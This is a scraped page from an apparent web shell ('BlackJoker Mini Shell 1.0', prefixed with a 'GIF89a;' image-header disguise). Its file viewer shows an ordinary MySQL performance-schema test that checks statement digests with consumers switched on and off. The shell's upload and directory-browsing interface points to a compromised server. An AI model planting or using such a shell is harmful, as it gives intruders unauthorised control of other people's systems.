GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/perfschema/t/
Upload File :
Current File : //usr/share/mysql-test/suite/perfschema/t/statement_digest_consumers.test

# ----------------------------------------------------
# Tests for the performance schema statement Digests.
# ----------------------------------------------------

# Test case to show behavior of statements digest in combination of different
# consumers enabled/disabled

--source include/not_embedded.inc
--source include/have_perfschema.inc

# Initial Setup for Digest
--source ../include/digest_setup.inc

# -----------------------------------------
# Consumer                      State      |
# -----------------------------------------
# statements_digest             Disabled   |
# events_statement_current      Enabled    |
# -----------------------------------------

SELECT * FROM performance_schema.setup_consumers;

TRUNCATE TABLE performance_schema.events_statements_summary_by_digest;

# Executing queries
--source ../include/digest_execution.inc

--echo ####################################
--echo # QUERYING PS STATEMENT DIGEST
--echo ####################################
SELECT schema_name, digest, digest_text, count_star FROM performance_schema.events_statements_summary_by_digest;
SELECT digest, digest_text FROM performance_schema.events_statements_current;

# Cleanup for Digest
--source ../include/digest_cleanup.inc

./BlackJoker Mini Shell 1.0